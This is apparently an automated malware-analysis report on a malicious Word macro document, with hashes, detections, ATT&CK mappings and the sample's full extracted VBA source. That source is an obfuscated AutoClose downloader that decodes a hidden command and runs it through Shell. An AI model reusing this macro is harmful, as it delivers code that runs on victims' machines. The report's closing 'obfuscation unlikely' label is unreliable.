Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 e7d93e7f5cf85d8d…

MALICIOUS

Office (OOXML)

53.4 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-10
MD5: 4ddb841ce0b99075668e22674716c8d4 SHA-1: d049a2c4cbdcf5f742b012fdd24e81078878d197 SHA-256: e7d93e7f5cf85d8daa275fe73346930fe70233d553bd1d509cb7c2008abd3c7e
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. It contains VBA macros, specifically an AutoClose macro, which is designed to execute code upon document closure. The VBA code attempts to construct and execute a URL, indicating it's likely a downloader for a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2198 bytes
SHA-256: 2afa1e747b3daed530872523108ca37279c541c059e3773a9e9fa43952b7379d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function caboodle(euphroe)
  melvin = Array("N", "T", "t", "B", "o", "d", "S", "e", "n", "r", "O", "f", "6", "Y", "", "I", "P", "L", "H", "U", "k", "9", "M", "q", "i", "g", "0", "u")
  trilinolate = Array("x", "a", "n", "d", "q", "t", "h", "?", "g", " ", "r", "j", "y", "U", ":", "u", "c", "O", "i", ".", "=", "o", "e", "/", "s", "p", "m", "w")
  
  euorthoptera = vbNullString
  
  For Each pecuniarily In euphroe
    taenicide = Application.Run("bunolophodont", pecuniarily, melvin)
    If taenicide > -1 And taenicide < 99212 Then
    euorthoptera = trilinolate(taenicide) + euorthoptera
    End If
  Next
  
  caboodle = StrReverse(euorthoptera)
  
End Function

Public Function bunolophodont(parisis, skiagraph)

  preexchanged = 81818
  postfeministator = -1
  For Each kriophoros In skiagraph
    If kriophoros = parisis Then
     preexchanged = postfeministator
     Exit For
    End If

    postfeministator = postfeministator + 1
    
  Next

  
  If preexchanged = 81818 Then
    preexchanged = -1
  End If


  bunolophodont = preexchanged + 1
End Function




Sub AutoClose()
  euphroe = Array("0", "i", "S", "d", "T", "U", "M", "N", "M", "r", "S", "d", "d", "g", "", "q", "q", "O", "d", "u", "f", "M", "I", "o", "u", "B", "6", "S", "o", "u", "B", "o", "u", "H", "B", "f", "n", "S", "T", "U", "P", "9", "0", "q", "L", "Y", "q", "i", "0", "H", "N", "U", "g", "S", "g", "e", "I", "d", "0", "T", "k", "t", "t", "H", "H", "n")
  kidney = caboodle(euphroe)
  
  Application.Run "extemporalness", (kidney)
  
End Sub


Private Sub extemporalness(procellariidae)
   
   didascalic = 69172
   bearishness = True
   
   While bearishness
     gorgonizing = didascalic + 91723
     If gorgonizing - didascalic > 297 Then
       VBA.Shell procellariidae, vbNormalFocus - 1
       bearishness = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 06bb34f94a6f56a27c965c4b23b7f1b72d46deebac62dcbc89e03ebf561512e3
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely